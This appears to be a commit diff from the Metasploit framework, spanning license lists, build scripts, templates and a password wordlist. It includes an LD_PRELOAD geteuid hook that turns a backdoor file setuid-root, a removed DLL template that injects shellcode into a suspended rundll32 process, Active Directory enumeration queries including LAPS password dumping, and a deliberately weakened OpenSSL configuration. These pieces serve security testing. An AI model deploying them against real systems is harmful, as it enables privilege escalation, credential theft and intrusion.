tzinfo, 2.0.5, MIT
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2022.7, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.3.0, MIT
unicode-display_width, 2.4.2, MIT
unix-crypt, 1.3.0, BSD
warden, 1.2.9, MIT
webrick, 1.7.0, "ruby, Simplified BSD"
websocket-driver, 0.7.5, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
win32api, 0.1.0, unknown
windows_error, 0.1.4, BSD
windows_error, 0.1.5, BSD
winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
yard, 0.9.28, MIT
zeitwerk, 2.6.6, MIT
zeitwerk, 2.6.7, MIT
+1 -1
View File
@@ -1,4 +1,4 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
Metasploit [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
==
The Metasploit Framework is released under a BSD-style license. See
[COPYING](COPYING) for more details.
+5 -1
View File
@@ -47,7 +47,11 @@ module Metasploit
when "test"
config.eager_load = false
when "production"
config.eager_load = true
config.eager_load = false
end
if ActiveRecord.respond_to?(:legacy_connection_handling=)
ActiveRecord.legacy_connection_handling = false
end
end
end
+9
View File
@@ -2,6 +2,7 @@ openssl_conf = openssl_init
[openssl_init]
providers = provider_sect
ssl_conf = ssl_sect
[provider_sect]
default = default_sect
@@ -12,3 +13,11 @@ activate = 1
[legacy_sect]
activate = 1
[ssl_sect]
system_default = system_default_sect
[system_default_sect]
MinProtocol = SSLv3
CipherString = ALL:@SECLEVEL=0
Options = UnsafeLegacyRenegotiation
@@ -9,6 +9,7 @@ queries:
- description
- displayName
- sAMAccountName
- objectSID
- userPrincipalName
- userAccountControl
- homeDirectory
@@ -28,8 +29,8 @@ queries:
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
- action: ENUM_ADCS_CAS
description: 'Enumerate ADCS certificate authorities.'
- action: ENUM_AD_CS_CAS
description: 'Enumerate AD Certificate Service certificate authorities.'
base_dn_prefix: 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration'
filter: '(objectClass=pKIEnrollmentService)'
attributes:
@@ -42,8 +43,8 @@ queries:
- caCertificate
references:
- https://aaroneg.com/post/2018-05-15-enterprise-ca/
- action: ENUM_ADCS_CERT_TEMPLATES
description: 'Enumerate ADCS certificate templates.'
- action: ENUM_AD_CS_CERT_TEMPLATES
description: 'Enumerate AD Certificate Service certificate templates.'
base_dn_prefix: 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
filter: '(objectClass=pkicertificatetemplate)'
attributes:
@@ -92,12 +93,14 @@ queries:
filter: '(|(objectCategory=computer)(objectClass=computer))'
attributes:
- dn
- name
- description
- displayName
- sAMAccountName
- objectSID
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystem
- operatingSystemVersion
- operatingSystemServicePack
@@ -140,6 +143,18 @@ queries:
- distinguishedName
references:
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
- action: ENUM_DOMAIN
description: 'Dump info about the Active Directory domain.'
filter: '(objectClass=domain)'
attributes:
- ms-DS-MachineAccountQuota
- objectSID
- name
- lockoutduration
- lockoutthreshold
- minpwdage
- maxpwdage
- minpwdlength
- action: ENUM_DOMAIN_CONTROLLERS
description: 'Dump all known domain controllers.'
filter: '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
@@ -156,7 +171,7 @@ queries:
- operatingSystemServicePack
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
- action: ENUM_EXCHANGE_RECIPIENTS
description: 'Dump info about all known Exchange recipients.'
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
@@ -231,7 +246,7 @@ queries:
- serverName
references:
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
- action: ENUM_LAPS_PASSWORDS
description: 'Dump info about computers that have LAPS enabled, and passwords for them if available.'
filter: '(ms-MCS-AdmPwd=*)'
@@ -253,6 +268,13 @@ queries:
- dnsHostName
references:
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
- action: ENUM_MACHINE_ACCOUNT_QUOTA
description: 'Dump the number of computer accounts a user is allowed to create in a domain.'
filter: '(objectClass=domain)'
attributes:
- ms-DS-MachineAccountQuota
references:
- https://learn.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota
- action: ENUM_ORGROLES
description: 'Dump info about all known organization roles in the LDAP environment.'
filter: '(objectClass=organizationalRole)'
@@ -349,4 +371,4 @@ queries:
references:
- https://malicious.link/post/2022/ldapsearch-reference/
- https://burmat.gitbook.io/security/hacking/domain-exploitation
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
@@ -0,0 +1,15 @@
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+9 -2
View File
@@ -15,7 +15,7 @@
<% end %>
## Module Ranking
<%# https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking %>
<%# https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html %>
**<%= items[:mod_rank_name] %>**
@@ -47,7 +47,7 @@
<% end %>
## Module Traits
<%# https://github.com/rapid7/metasploit-framework/wiki/Definition-of-Module-Reliability,-Side-Effects,-and-Stability %>
<%# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html %>
<% unless items[:mod_side_effects].empty? %>
### Side Effects
@@ -117,6 +117,13 @@
<%= normalize_pull_requests(items[:mod_pull_requests]) %>
<%- attacker_kb_references = normalize_attackerkb_references(items[:mod_refs]) %>
<% unless attacker_kb_references.empty? %>
## AttackerKB references
<%= attacker_kb_references %>
<% end %>
<% unless items[:mod_refs].empty? %>
## References
+1 -1
View File
@@ -5,4 +5,4 @@ msf <%= mod.type %>(<%= mod.shortname %>) > show options
msf <%= mod.type %>(<%= mod.shortname %>) > generate
```
To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom).
To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html).
+10
View File
@@ -0,0 +1,10 @@
# PE Source Code
This directory contains the source code for the PE executable templates.
## Building DLLs
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
variable be defined (which it should be by default). The build script will
create both the x86 and x64 templates before moving them into the correct
folder. The current working directory when the build is run must be the source
code directory (`pe`).
+7
View File
@@ -0,0 +1,7 @@
@echo off
for /D %%d in (dll*) do (
pushd "%%d"
build.bat
popd
)
+4 -3
View File
@@ -3,12 +3,13 @@
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
rc /v template.rc
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj
del *.obj *.res
move *.dll ..\..\..
+2 -1
View File
@@ -1,5 +1,6 @@
#ifndef SCSIZE
#define SCSIZE 4096
#endif
unsigned char code[SCSIZE] = "PAYLOAD:";
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
@@ -0,0 +1,15 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
rc /v /fo template.res ../dll/template.rc
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.exp *.lib *.res *.obj
move *.dll ..\..\..
@@ -1,24 +0,0 @@
#
# XXX: NOTE: this will only compile the x86 version.
#
# To compile the x64 version, use:
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
#
if [ -z "$PREFIX" ]; then
PREFIX=i686-w64-mingw32
fi
rm -f *.o *.dll
$PREFIX-gcc -c template.c
$PREFIX-windres -o rc.o template.rc
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
rm -f junk.tmp
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
rm -f base.tmp
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
rm -f temp.exp
$PREFIX-strip template_x86_windows.dll
rm -f *.o
@@ -1,6 +1,3 @@
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
#ifdef _MSC_VER
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
@@ -1,97 +0,0 @@
#include <windows.h>
#include "template.h"
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
ExitThread(0);
}
/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
ULONG Reason,
PVOID Reserved
);
VOID NTAPI TlsCallback(
IN PVOID DllHandle,
IN ULONG Reason,
IN PVOID Reserved)
{
__asm ( "int3" );
}
ULONG _tls_index;
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/
@@ -1,3 +0,0 @@
EXPORTS
DllMain@12
@@ -1,18 +0,0 @@
LANGUAGE 9, 1
VS_VERSION_INFO VERSIONINFO
FILEVERSION 0,0,0,1
PRODUCTVERSION 0,0,0,1
FILEFLAGSMASK 0x17L
FILEFLAGS 0x0L
FILEOS 0x4L
FILETYPE 0x2L
FILESUBTYPE 0x0L
BEGIN
END
#define RT_HTML 23
@@ -4,6 +4,7 @@ if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+306 -305
View File
@@ -274,8 +274,8 @@ abbreviating
abbreviation
abby
abbye
abbé
abbés
abbé
abbés
abc
abc123
abcd
@@ -975,7 +975,7 @@ adipose
adiposes
adirondack
adirondacks
adiós
adiós
adj
adjacency
adjacent
@@ -1573,7 +1573,7 @@ aidan
aide
aide-de-camp
aide-memoires
aide-mémoire
aide-mémoire
aided
aider
aides-de-camp
@@ -3006,7 +3006,7 @@ animistic
animized
animosity
animus
animé
animé
anion
anionic
anise
@@ -3615,10 +3615,10 @@ applicator
applier
appliers
applique
appliqué
appliquéd
appliquéing
appliqués
appliqué
appliquéd
appliquéing
appliqués
apply
appoint
appointee
@@ -4274,8 +4274,8 @@ arvy
aryan
aryanism
aryn
arête
arêtes
arête
arêtes
as
asa
asama
@@ -4618,7 +4618,7 @@ asturias
astute
astuteness
asuncion
asunción
asunción
asunder
aswan
asyllabic
@@ -4643,7 +4643,7 @@ atalanta
atamelang
atari
ataturk
atatürk
atatürk
atavism
atavist
atavistic
@@ -4742,7 +4742,7 @@ attached
attacher
attaches
attachment
attaché
attaché
attack
attackable
attacker
@@ -6141,7 +6141,7 @@ bartolomeo
barton
bartram
barty
bartók
bartók
baruch
barvale
barvallen
@@ -7880,7 +7880,7 @@ blast
blaster
blasting
blastoff
blasé
blasé
blat
blatancy
blatant
@@ -8433,7 +8433,7 @@ bogotified
bogotifies
bogotify
bogotifying
bogotá
bogotá
bogus
bogy
bogyman
@@ -8911,7 +8911,7 @@ botulinum
botulinus
botulism
boucher
bouclé
bouclé
boudicca
boudoir
bouffant
@@ -8962,13 +8962,13 @@ bourne
bournemouth
bourree
bourses
bourée
bourée
boustrophedon
bout
boutique
boutonniere
boutonnière
boutonnières
boutonnière
boutonnières
bouvier
bouzouki
bovary
@@ -9052,7 +9052,7 @@ boyscout
boysenberry
boyup
bozo
boötes
boötes
bp
bpi
bpoe
@@ -9435,7 +9435,7 @@ bribery
bribie
bric
bric-a-brac
bric-à-brac
bric-à-brac
brice
brick
brick-red
@@ -10472,7 +10472,7 @@ buzzer
buzzing
buzzword
buzzy
buñuel
buñuel
bx
bxs
by
@@ -10528,10 +10528,10 @@ byway
byword
byzantine
byzantium
bêche
bête
bêtes
bêtise
bêche
bête
bêtes
bêtise
c
c.elegans
c.lit.
@@ -10646,8 +10646,8 @@ caffeinated
caffeine
caftan
cafutweni
café
cafés
café
cafés
cage
caged
cager
@@ -10962,8 +10962,8 @@ canalization
canalize
canalling
canape
canapé
canapés
canapé
canapés
canard
canaries
canary
@@ -13334,11 +13334,11 @@ chutzpahs
chuvash
chweni
chyme
château
châteaus
châteaux
châtelaine
châtelaines
château
châteaus
châteaux
châtelaine
châtelaines
ci
cia
ciao
@@ -13840,15 +13840,15 @@ clewer
cliburn
cliche
cliched
cliché
clichéd
clichés
cliché
clichéd
clichés
click
clicker
clicking
client
clientele
clientèle
clientèle
cliff
cliff-hanger
cliffdale
@@ -13951,7 +13951,7 @@ clogged
clogging
cloisonne
cloisonnes
cloisonné
cloisonné
cloister
cloistral
clomp
@@ -14968,7 +14968,7 @@ communing
communion
communique
communiques
communiqué
communiqué
communise
communism
communist
@@ -15196,8 +15196,8 @@ computerize
computes
computicket
computing
compère
compères
compère
compères
comrade
comradeliest
comradeliness
@@ -15241,7 +15241,7 @@ concentrator
concentric
concentrically
concepcion
concepción
concepción
concept
conception
conceptional
@@ -15504,8 +15504,8 @@ confrontation
confrontational
confrontationally
confronter
confrère
confrères
confrère
confrères
confucian
confucianism
confucius
@@ -15755,8 +15755,8 @@ consolidation
consolidator
consoling
consomme
consommé
consommés
consommé
consommés
consonance
consonances
consonant
@@ -16539,8 +16539,8 @@ cortisone
cortland
cortney
corty
cortège
cortèges
cortège
cortèges
corundum
coruscate
coruscation
@@ -16657,8 +16657,8 @@ coulis
coulomb
coulter
coulthard
coulée
coulées
coulée
coulées
council
councillor
councilman
@@ -16791,7 +16791,7 @@ couples
couplet
coupling
coupon
coupé
coupé
cour
courage
courageous
@@ -17506,8 +17506,8 @@ crowning
crows
croydon
crozier
croûton
croûtons
croûton
croûtons
crt
crucial
cruciate
@@ -17526,7 +17526,7 @@ crude
crudeness
crudites
crudity
crudités
crudités
cruel
cruelled
cruelling
@@ -17634,12 +17634,12 @@ crystallographer
crystallographic
crystallography
crystie
crèche
crèches
crème
crêpe
crêpes
crêpey
crèche
crèches
crème
crêpe
crêpes
crêpey
cs
csa
cse
@@ -18113,7 +18113,7 @@ czechoslovakian
czechs
czerniak
czerny
côte
côte
d
da
daantjie
@@ -18299,7 +18299,7 @@ damson
dan
dana
danarand
danaë
danaë
danbury
dance
danceable
@@ -19951,8 +19951,8 @@ derrik
derril
derrinallum
derringer
derrière
derrières
derrière
derrières
derron
derry
dersley
@@ -20447,7 +20447,7 @@ diamagnetic
diamante
diamanthoogte
diamantina
diamanté
diamanté
diameter
diametric
diametrical
@@ -21077,8 +21077,8 @@ discordant
discorporate
discorporated
discotheque
discothèque
discothèques
discothèque
discothèques
discount
discountability
discountable
@@ -21613,9 +21613,9 @@ divisor
divorce
divorcee
divorcement
divorcé
divorcée
divorcées
divorcé
divorcée
divorcées
divot
divulge
divvy
@@ -22000,7 +22000,7 @@ dopiness
dopinesses
doping
doppelganger
doppelgänger
doppelgänger
doppies
doppler
dopy
@@ -22077,7 +22077,7 @@ dorthea
dorthy
dortmund
dory
doré
doré
dos
dosage
dose
@@ -22553,7 +22553,7 @@ drowse
drowsily
drowsiness
drowsy
droëwors
droëwors
dru
drub
drubbed
@@ -22948,7 +22948,7 @@ duynefontein
dvd
dvina
dvorak
dvorák
dvorák
dwaal
dwaalboom
dwain
@@ -23034,33 +23034,33 @@ dzimauli
dzongkha
dzumeri
dzungaria
début
débutante
débutantes
débuts
débâcle
débâcles
déclassé
déclassée
décolletage
décolletages
décolleté
décolletée
décor
décors
découpage
déjà
démodé
dénouement
dépaysé
dépaysée
dérailleur
dérailleurs
déshabillé
détente
détentes
dürer
düsseldorf
début
débutante
débutantes
débuts
débâcle
débâcles
déclassé
déclassée
décolletage
décolletages
décolleté
décolletée
décor
décors
découpage
déjà
démodé
dénouement
dépaysé
dépaysée
dérailleur
dérailleurs
déshabillé
détente
détentes
dürer
düsseldorf
e
e-commerce
e-mail
@@ -24137,7 +24137,7 @@ elysia
elysian
elysium
elyssa
elysée
elysée
em
ema
emabheleni
@@ -24869,8 +24869,8 @@ entreatingly
entreaty
entrechat
entrecote
entrecôte
entrecôtes
entrecôte
entrecôtes
entree
entrees
entremets
@@ -24880,8 +24880,8 @@ entrepot
entrepreneur
entrepreneurial
entrepreneurship
entrepôt
entrepôts
entrepôt
entrepôts
entries
entropic
entropy
@@ -24890,8 +24890,8 @@ entry
entryphone
entryphones
entryway
entrée
entrées
entrée
entrées
entshonalanga
entshongwe
entumbane
@@ -25442,7 +25442,7 @@ ester
estera
esterase
esterhazy
esterházy
esterházy
esterpark
estes
estevan
@@ -26239,8 +26239,8 @@ expository
expostulate
expostulation
exposure
exposé
exposés
exposé
exposés
expound
expounder
express
@@ -26493,7 +26493,7 @@ fab
fabe
faber
faberge
fabergé
fabergé
fabian
fabiano
fabians
@@ -27073,10 +27073,10 @@ fays
fayth
faythe
faze
façade
façades
faïence
faïences
façade
façades
faïence
faïences
fbi
fcc
fd
@@ -27438,10 +27438,10 @@ fi
fia
fiance
fiancee
fiancé
fiancée
fiancées
fiancés
fiancé
fiancée
fiancées
fiancés
fiann
fianna
fiasco
@@ -28051,10 +28051,10 @@ flambes
flamboyance
flamboyancy
flamboyant
flambé
flambéed
flambéing
flambés
flambé
flambéed
flambéing
flambés
flame
flame-proof
flame-proofed
@@ -29111,7 +29111,7 @@ fosterer
fostering
fotomat
foucault
fouché
fouché
fought
foul
foul-mouth
@@ -29306,14 +29306,14 @@ franticness
frants
franz
franzen
françois
françoise
françois
françoise
frap
frappe
frappeed
frappeing
frappes
frappé
frappé
frasco
fraser
fraserburg
@@ -29993,11 +29993,11 @@ fy
fyi
fynbos
fynnland
fête
fêtes
föhn
führer
führers
fête
fêtes
föhn
führer
führers
g
g-string
g-strings
@@ -30428,8 +30428,8 @@ garwin
garwood
gary
garza
garçon
garçons
garçon
garçons
gas
gas-permeable
gasbag
@@ -31012,7 +31012,7 @@ gettysburg
getup
gewgaw
gewurztraminer
gewürztraminer
gewürztraminer
geysdorp
geyser
gezangave
@@ -31316,10 +31316,10 @@ glaciological
glaciologist
glaciology
glacis
glacé
glacéed
glacéing
glacés
glacé
glacéed
glacéing
glacés
glad
gladded
gladden
@@ -32726,11 +32726,11 @@ grus
grusky
gruyere
gruyeres
gruyère
gruyère
gryphon
grysvok
grâce
grünewald
grâce
grünewald
gs
gsa
gsm
@@ -33098,8 +33098,8 @@ gyromagnetic
gyroscope
gyroscopic
gyve
gödel
göteborg
gödel
göteborg
h
h2opolo
ha
@@ -33137,8 +33137,8 @@ habitualness
habituate
habituation
habitue
habitué
habitués
habitué
habitués
hacienda
hack
hackable
@@ -36618,7 +36618,7 @@ hysterical
hystericism
hyundai
hz
héloise
héloise
i
i.e.
ia
@@ -38232,8 +38232,8 @@ inguinal
ingunna
ingvar
ingwavuma
ingénue
ingénues
ingénue
ingénues
inhabit
inhabitable
inhabitance
@@ -39844,8 +39844,8 @@ jakey
jakie
jakob
jalapeno
jalapeño
jalapeños
jalapeño
jalapeños
jalopy
jalousie
jam
@@ -39963,8 +39963,8 @@ jarad
jard
jardine
jardiniere
jardinière
jardinières
jardinière
jardinières
jareb
jared
jarful
@@ -40579,7 +40579,7 @@ jostle
jostling
josue
josy
josé
josé
jot
jotted
jotter
@@ -41766,8 +41766,8 @@ kinder
kindergarten
kindergartener
kindergartner
kindergärtner
kindergärtners
kindergärtner
kindergärtners
kindest
kindhearted
kindheartedness
@@ -42434,8 +42434,8 @@ krystal
krystalle
krystle
krystyna
króna
krónur
króna
krónur
ks
kshatriya
kt
@@ -42926,7 +42926,7 @@ lamport
lamppost
lamprey
lampshade
lamé
lamé
lan
lana
lanae
@@ -44646,8 +44646,8 @@ littleness
littleton
litton
littoral
littérateur
littérateurs
littérateur
littérateurs
liturgic
liturgical
liturgics
@@ -44939,7 +44939,7 @@ lombard
lombardi
lombardy
lome
lomé
lomé
lon
lona
london
@@ -45496,7 +45496,7 @@ luminescent
luminosity
luminous
luminousness
lumière
lumière
lumku
lummox
lump
@@ -45655,7 +45655,7 @@ lychgate
lycopodium
lycra
lycurgus
lycée
lycée
lyda
lydenburg
lydia
@@ -45858,8 +45858,8 @@ macos
macpaint
macquarie
macrame
macramé
macramés
macramé
macramés
macro
macrobiotic
macrobiotics
@@ -46414,7 +46414,7 @@ mallala
mallapunyah
mallard
mallarme
mallarmé
mallarmé
malleability
malleable
malleableness
@@ -46696,7 +46696,7 @@ manorial
manpower
manque
manquzu
manqué
manqué
mans
mansard
manse
@@ -46758,10 +46758,10 @@ manzengwenya
manzi
manzibomvu
manzimahle
manège
manèged
manèges
manèging
manège
manèged
manèges
manèging
mao
maoism
maoist
@@ -47448,7 +47448,7 @@ matimatolo
matinee
mating
matins
matinée
matinée
matisse
matiwane
matjeka
@@ -47540,8 +47540,8 @@ matzoh
matzot
matzoth
matzotshweni
matériel
matériels
matériel
matériels
mau
maubane
maud
@@ -47688,8 +47688,8 @@ mazourka
mazurka
mazy
mazzini
maître
mañana
maître
mañana
mb
mba
mbabane
@@ -51549,15 +51549,15 @@ mzomusha
mzonga
mzonyane
mzotho
mélange
mémoire
ménage
métier
métiers
mêlée
mêlées
möbius
münchhausen
mélange
mémoire
ménage
métier
métiers
mêlée
mêlées
möbius
münchhausen
n
na
naaco
@@ -51632,8 +51632,8 @@ naive
naiveness
naivete
naivety
naiveté
naivetés
naiveté
naivetés
nakamura
nakayama
naked
@@ -51939,13 +51939,13 @@ nazca
nazi
naziism
nazism
naïve
naïvely
naïveness
naïveties
naïvety
naïveté
naïvetés
naïve
naïvely
naïveness
naïveties
naïvety
naïveté
naïvetés
nb
nba
nbc
@@ -52136,8 +52136,8 @@ negligent
negligibility
negligible
negligibly
negligée
negligées
negligée
negligées
negotiability
negotiable
negotiant
@@ -54074,10 +54074,10 @@ nouakchott
nougat
nought
noumea
nouméa
nouméa
noun
nounal
nounéa
nounéa
noupoort
nourish
nourished
@@ -54431,10 +54431,10 @@ nzima
nzimakazi
nzokhulayo
nzombane
née
négligé
née
négligé
o
oaf
oafish
@@ -55069,7 +55069,7 @@ olympian
olympic
olympie
olympus
olé
olé
om
omagh
omaha
@@ -55933,7 +55933,7 @@ outrigger
outright
outrun
outrunning
outré
outré
outscore
outsell
outset
@@ -57060,7 +57060,7 @@ paranoiac
paranoid
paranormal
paranormally
paraná
paraná
parapet
paraphernalia
paraphrase
@@ -57357,8 +57357,8 @@ passwd
password
password1
passworded
passé
passée
passé
passée
past
pasta
paste
@@ -59360,10 +59360,10 @@ pizzazz
pizzeria
pizzicati
pizzicato
piñata
piñatas
piñon
piñons
piñata
piñatas
piñon
piñons
pj
pk
pkg
@@ -59854,7 +59854,7 @@ poignancy
poignant
poikilothermic
poincare
poincaré
poincaré
poinciana
poincianas
poindexter
@@ -60303,8 +60303,8 @@ portie
portiere
porting
portion
portière
portières
portière
portières
portland
portliness
portly
@@ -61002,10 +61002,10 @@ premise
premiss
premium
premix
première
premièred
premières
premièring
première
premièred
premières
premièring
premolar
premonition
premonitory
@@ -61923,10 +61923,10 @@ protrusively
protrusiveness
protuberance
protuberant
protégé
protégée
protégées
protégés
protégé
protégée
protégées
protégés
proud
proudhon
proust
@@ -61946,7 +61946,7 @@ provence
provender
provenience
provenly
provençal
provençal
prover
proverb
proverbial
@@ -62019,10 +62019,10 @@ pryce
pryer
prying
pryor
précis
précised
précises
précising
précis
précised
précises
précising
ps
psalm
psalmist
@@ -62429,10 +62429,10 @@ purvey
purveyance
purveyor
purview
purée
puréed
puréeing
purées
purée
puréed
puréeing
purées
pus
pusan
pusey
@@ -62580,10 +62580,10 @@ pyxidia
pyxidium
pyxis
pzazz
pâté
pères
pétain
pôrto
pâté
pères
pétain
pôrto
q
q-tips.
q-town
@@ -63018,6 +63018,7 @@ r1
r1s
r4
r4s
r50$K28vaIFiYxaY
ra
